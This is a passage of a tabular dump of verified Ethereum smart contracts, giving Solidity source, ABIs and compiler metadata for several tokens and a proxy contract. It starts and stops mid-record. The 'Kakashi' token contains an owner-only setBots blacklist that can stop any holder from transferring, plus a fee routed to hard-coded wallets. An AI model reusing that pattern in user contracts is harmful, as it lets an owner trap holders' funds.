e":"updateTokensPerEth","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getTokens","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"Claimed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"distributionFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"who","type":"address"}],"name":"getTokenBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokensPerEth","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenContract","type":"address"}],"name":"withdrawForeignTokens","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"target0drop","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"reDistribution","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalDistributed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_addresses","type":"address[]"},{"name":"_amount","type":"uint256"}],"name":"DistributeAirdropMultiple","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Distr","type":"event"},{"anonymous":false,"inputs":[],"name":"DistrFinished","type":"event"},{"anonymous":false,"inputs":[],"name":"DistrRestarted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"Airdrop","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_tokensPerEth","type":"uint256"}],"name":"TokensPerEthUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"value","type":"uint256"}],"name":"Add","type":"event"}] | v0.4.25+commit.59dbf8f1 | true | 200 | Default | MPL-2.0 | false | bzzr://89c264c7d00266af325e972e3ed64f7976faecc11b98f661e77db9afb811ee06 |
|||
AugmentedRealityHorse | AugmentedRealityHorse.sol | 0x7ffffdec668808f6e95495733bb10392ba39cbf2 | Solidity | pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract AugmentedRealityHorse {
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
using SafeMath for uint256;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 private constant MAX_UINT256 = 2**256 -1 ;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
bool lock = false;
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
owner = msg.sender;
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transfer(
address _to,
uint256 _value
) public returns (bool) {
require(balances[msg.sender] >= _value);
require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value);
require(_from == _to || balances[_to] <= MAX_UINT256 -_value);
require(allowance >= _value);
balances[_from] -= _value;
balances[_to] += _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(
address _owner
) public view returns (uint256) {
return balances[_owner];
}
function approve(
address _spender,
uint256 _value
) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowed[_owner][_spender];
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_lock","type":"bool"}],"name":"setLock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialAmount","type":"uint256"},{"name":"_tokenName","type":"string"},{"name":"_decimalUnits","type":"uint8"},{"name":"_tokenSymbol","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.25+commit.59dbf8f1 | false | 200 | 000000000000000000000000000000000000000000ba1d9a70c21cda810000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000174175676d656e746564205265616c69747920486f72736500000000000000000000000000000000000000000000000000000000000000000000000000000000034152480000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://aa5884af6f3cf9a66d4a7a6e09bbaf70c479b120bc17931caebdd29bae6bf52d |
|||
ERC20Token | @openzeppelin/contracts/token/ERC20/ERC20Mintable.sol | 0x00bc3018d474990960145b7dfb10329464434cdc | Solidity | /**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
} | 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e":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"transferFromAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFromAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.15+commit.6a57276f | true | 200 | 00000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000001431e0fae6d7217caa00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000034e6577000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034e45570000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | bzzr://84001a10073f76e909619ca9197058de11ef66f5023cb4494056dfe6ba14f468 |
||
Kakashi | Kakashi.sol | 0xbe1249c8fa0e235a2408b63f9ed5158cd8e6bbb6 | Solidity | /**
*/
/**
*/
/**
/**
//SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kakashi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Kakashi";
string private constant _symbol = "Kakashi";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x7Ef24C755fe88257a37F83dbF58A93eE5942033F);
_feeAddrWallet2 = payable(0x8b2E6F316bde04BFEA0E8F5957e5B07Ef872d754);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.6+commit.11564f7e | true | 200 | Default | None | false | ipfs://40241c07d2db855f1a8e932e2cdceccaa49e991cf2b26e0a85bf5761739b032f |
|||
TokenChildProxyV2 | TokenChildProxyV2.sol | 0xfea84d52417fbd22b8c035ddf0e9c3f61924679e | Solidity | // SPDX-License-Identifier: MIT
pragma solidity >=0.5.16 <0.7.0;
/**
* @title Proxy
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
pragma solidity >=0.5.16 <0.7.0;
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly {
size := extcodesize(addr)
}
return size > 0;
}
}
pragma solidity >=0.5.16 <0.7.0;
/**
* @title UpgradeableProxyV1
*
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
abstract contract UpgradeableProxyV1 is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address logic, bytes memory data) public payable {
if (logic == address(0x0)) {
return;
}
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(logic);
if (data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = logic.delegatecall(data);
require(success, "Call impl with data failed");
}
}
function _initProxyImpl(
address logic,
bytes memory data
) internal virtual {
require(_implementation() == address(0x0), "Impl had been set");
_setImplementation(logic);
if (data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = logic.delegatecall(data);
require(success, "Call impl with data failed");
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal virtual override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
